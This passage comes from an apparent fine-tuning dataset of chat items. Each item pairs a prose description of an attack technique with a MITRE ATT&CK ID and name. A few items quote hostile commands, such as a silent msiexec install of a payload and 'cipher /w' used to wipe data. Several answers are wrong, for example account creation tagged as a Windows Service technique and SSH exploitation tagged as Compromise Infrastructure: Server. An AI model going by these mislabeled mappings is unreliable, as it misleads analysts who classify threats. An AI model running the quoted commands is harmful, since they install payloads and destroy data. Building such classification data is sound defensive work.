                "content": "Adversaries abuse the Active Setup feature by writing a custom CLSID and command line to HKCU\\Software\\Microsoft\\Active Setup\\Installed Components, causing code execution during the user logon process."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account was used to invoke the cloud provider's 'CreateUser' API, establishing a new attacker‑controlled account."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JavaScript injection on a reputable news site causes browsers to download a payload."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised software package is delivered via a rogue update server, installing a malicious client binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor programmatically creates a new AWS root account using stolen credentials to bypass monitoring."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is sent via a personalized email message that appears to come from a trusted colleague, leading to the download of a RAT."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin privileges, the threat actor executed a payload that encrypts system backups and critical databases, then threatens to permanently destroy the keys."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers configure a Jenkins webhook to receive exfiltrated database dumps from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a kernel extension, the malicious code manipulates the Gatekeeper enforcement level, allowing unverified apps."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates forged JWTs with elevated privileges by signing them with a leaked secret key and uses them to access restricted API endpoints."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit VDSO hijacking to perform in-memory code injection, avoiding detection by standard hooking detectors."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals gather information on the target’s cloud service providers by reviewing DNS CNAME records."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder retrieves a legitimate penetration testing framework from an open‑source repository to incorporate into their toolkit."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware alters a local SQLite database that stores user preferences, embedding a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor reads the environment variable %USERNAME% to discover the account under which the process is running."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a task called 'System Maintenance' that runs a PowerShell script to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set exfiltrates data by uploading encrypted archives to a personal AWS S3 bucket over TLS."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes using the at scheduler to persist a PowerShell reverse shell across reboots."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden script packages exfiltrated data using gzip compression."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack a legitimate code signing process by injecting malicious code before the binary is signed, ensuring the final product is trusted."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor escalates privileges by creating a new user account and adding it to the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates logged‑in users by reading the output of the 'who' command."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the system's launchd plist to automatically start a ransomware payload on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor implements a public‑key infrastructure to encrypt all C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension queries the macOS keychain for saved website login tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell's -EncodedCommand switch to run obfuscated commands."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of HTTP CONNECT method, the intruder creates a tunnel that proxies malicious traffic through an external proxy server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Generate network traffic patterns that mimic those associated with a different, seemingly innocuous application to evade detection"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software abuses Thread Local Storage by placing its payload in the TLS array of a legitimate process and then calling the TLS callback to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is persisted by modifying the BIOS boot block to execute a rootkit during power‑on self‑test."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs the 'who' command to list users currently logged into the system, then records their usernames."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a crafted image file with embedded malicious code that runs when the victim views the attachment in a preview pane."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT28 uses a compromised cloud-hosted web service to relay commands and steal credentials from infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a lateral movement phase, the adversary mines bash history files for previously entered SSH private key passphrases."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infiltration, the malware drops a malicious .img file into the /boot directory and triggers bootloader execution to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits an unpatched CVE in the SSH daemon on a Linux server to gain remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious HTML page includes a link that triggers a download of a payload from a command-and-control server, leveraging the victim's browser to fetch the file."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the \"netsh wlan show networks\" command to enumerate visible Wi‑Fi networks and associated BSSIDs."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits a vulnerable web application to host a malicious executable that is automatically downloaded when a user visits the page."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the web server, the adversary uploads a malicious script that changes the site's landing page, showing a defacement banner to any user."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer drops a DLL named the same as a legitimate library into the same path as the target executable, causing hijacked execution."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modified the file name of the system's wscript.exe to wscript.bak and placed a malicious script in its place."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs open-source intelligence (OSINT) on the company's leadership to craft spear‑phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan encrypts its beacon with an asymmetric algorithm, sending the ciphertext to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributed a payload disguised as a .zip archive, but the inner file was a disguised .dll masquerading as a media file."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker inserts a hidden malicious module into a legitimate open‑source plugin that is automatically included in many content management systems."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encrypts files in place, storing the encrypted data in the original file locations and deleting the originals."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers changed the extension of a credential‑stealing tool from .dll to .doc, making it look like a Word document to bypass user suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a VPS and uses it to host malicious scripts that target remote desktops."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the browser's built‑in password export feature to dump saved credentials to a flat file for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A waterhole attack was performed on a financial industry research portal, where the malicious page checks the visitor's user‑agent string for a known corporate browser version before serving a stealthy backdoor."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group employs a compiled HTML file to hijack mshtml.dll, causing the system to interpret the CHM as a trusted executable and launch payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script registers a low‑level keyboard hook, storing captured keystrokes in the Windows Registry under a disguised key name."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised service account to schedule a task on a remote host via schtasks."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query Bing with the target organization’s name to discover publicly available subdomains."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a module that, before encrypting files, copies the victim’s documents to any attached USB stick for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped a malicious .msi file and then called \"C:\\Windows\\System32\\msiexec.exe /qn /i C:\\temp\\payload.msi\" to run the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is embedded in a legitimate software package distributed via a peer‑to‑peer network, leading to infection upon installation."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls CreateToolhelp32Snapshot to gather a list of processes and then injects a payload into a chosen process."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compresses and splits exfiltrated logs into many tiny files to bypass data transfer size restrictions."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker established a foothold by exploiting a misconfigured SSH service to tunnel into the internal environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a crafted .lnk file placed in the startup location to launch a PowerShell one‑liner that downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited a vulnerable WordPress plugin to inject malicious HTML, resulting in the site being defaced with offensive images."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker establishes a domain account with specific group memberships to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates MFA verification via the organization's authenticator API, sending a flood of prompts to overwhelm the victim."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary retrieves password hashes from the Security Account Manager (SAM) hive by dumping the SAM database."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group launched a destructive command that called \"cipher /w\" on Windows machines to securely wipe free space and existing files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a double‑layer obfuscation, first compressing data with zlib then encrypting with a custom XOR routine."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent backdoor code is hidden in the AppInit DLL registry value, where it is loaded into process memory at startup without being written as a file."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious document is delivered with a forged \"Zone.Identifier\" stream that claims the file originates from a trusted zone, preventing security prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator executes a reverse DNS lookup on the target's IP address block to discover hostnames."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage LDAP queries to add a domain account with limited privileges for covert operations."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script initiates an encrypted TLS session to communicate with its C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker enumerates trusted relationships between internal systems by querying Active Directory trust objects."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script extracted configuration files and used an SSH key to authenticate and push the files to a private Azure DevOps repo."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit manipulates XPC service registration to replace a legitimate helper with a malicious version, achieving privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
